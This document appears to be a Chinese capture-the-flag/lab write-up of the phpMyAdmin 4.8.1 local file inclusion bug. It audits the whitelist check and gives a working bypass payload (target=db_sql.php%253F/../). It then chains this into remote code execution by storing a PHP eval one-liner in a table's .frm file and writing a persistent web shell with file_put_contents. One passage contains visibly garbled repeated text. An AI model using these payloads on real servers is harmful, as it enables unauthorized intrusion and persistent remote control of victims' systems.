文件包含
本地文件包含:LFI
远程文件包含:RFI(需要开启配置选项:allow_url_include=On)
靶场(phpMyAdmin-4.8.1 )
本地测试
审计
全局搜索include,发现一些可疑之处:
具体代码是这一块:
需要执行到include需要满足这个if条件。
我们可以来分析一下这个条件:
(! empty($_REQUEST['target'])//条件1
is_string($_REQUEST['target'])//条件2
! preg_match('/^index/', $_REQUEST['target'])//条件3
! in_array($_REQUEST['target'], $target_blacklist)//条件4
Core::checkPageValidity($_REQUEST['target'])//条件5
条件1:target传参不为空
条件2:target传参为字符串
条件3:target传参不是index开头
条件4:target传参不在$target_blacklist中,即target传参不在黑名单中。
条件5:target传参传入了checkPagevalidity()中。
定位到Core::checkPageValidity()
需要这个方法返回true,有三个地方。
第一处需要 p a g e 也 就 是 t a r g e t 传 参 , 在 白 名 单 里 , 白 名 单 默 认 传 的 是 空 就 等 于 page也就是target传参,在白名单里,白名单默认传的是空就等于 page也就是target传参,在白名单里,白名单默认传的是空就等于goto_whitelist
来看第二个会true的地方,这里已经执行一段代码:
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
mb_substr():截取字符串,可以截取中文
mb_substr(字符串,开始位置,长度)
mb_strpos():查找字符串在另一个字符串中首次出现的位置
mb_strpos($page . '?', '?')
的意思就是查找问号的位置
这一整段的意思就是:截取$page字符串,直到问号(不包括问号)。
第三个返回true的地方先进行了一次url解码,之后还是需要在白名单里。
条件5的意思就是target传参问号之前的字符串需要在白名单中。
漏洞点:
前言知识点:
<?php
include("hjkfaf/../phpinfo.php");
?>
这段代码是没问题的,这样相对路径包含是可以的。hjkaf是不存在的文件夹,
但是不能存在问号(例如hjfkaksfa?fdfjsfh/…/phpinfo.php),因为问号在php中是用来传参的,如果include遇到问号就认为后面不再是路径,随即报错。我们不能让include的路径中出现问号。
但是在条件5最后返回true的这个地方,它进行了一次url解码。
问号?的url编码是%3F,再将%3F进行一次url编码变成%253F。最后构造成能绕过白名单检测的传参。
白名单:随便选一个就好。
那么我们就懂了五个条件,接下来就可以构造满足条件的传参。
POC:
target=db_sql.php%253Fqqqqq/../
首先%253F被传入会自动进行一次url解码变成%3F,然后条件5再进行一次url解码变成?,即变成db_sql.php?qqqqq,这样是可以通过五个条件的。通过条件之后就是:
include db_sql.php%253Fqqqq/../
这样就能通过相对路径利用。
测试一下:
在phpMyAdmin-4.8.1的index.php同目录下放一个666.php,内容是phpinfo()。
可以利用:
http://192.168.17.144/phpMyAdmin2/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253F/…/666.php
靶场
登录其phpmyadmin后台,找到其MySQL的目录:
C:/phpStudy/MySQL/
我们知道,在phpstudy中数据库中的库会被存放在MySQL/data目录下:
这些文件夹都是已经存在的库。
表就是库文件夹下的frm文件:
frm文件中包含字段信息。
为了向服务器中写入木马,我们可以这样做。
新建一个库xxx,xxx库中新建一个表yyy,yyy中有一个字段是<?php eval($_REQUEST[6])?>
然后我们再去包含这个文件。
包含试试:
http://192.168.17.144/phpMyAdmin2/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253F/…/…/…/…/MySQL/data/xxx/yyy.frm&6=phpinfo();
成功包含:
但是这样不能菜刀连接。
然后利用这个写入木马:
http://192.168.17.144/phpMyAdmin2/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253F/…/…/…/…/MySQL/data/xxx/yyy.frm&6=file_put_contents(“777.php”,"<?php eval($_REQUEST[777])?>");
回到靶场
然后回到靶场这边,登录进其后台之后,建库,建表,写入木马。
C:/phpStudy/MySQL/
写入一句话:
index.php?target=db_sql.php%253F/../../../../MySQL/data/xxx/yyy.frm&6=file_put_contents("777.php","<?php eval($_REQUEST[8])?>");
连接菜刀,找到flag: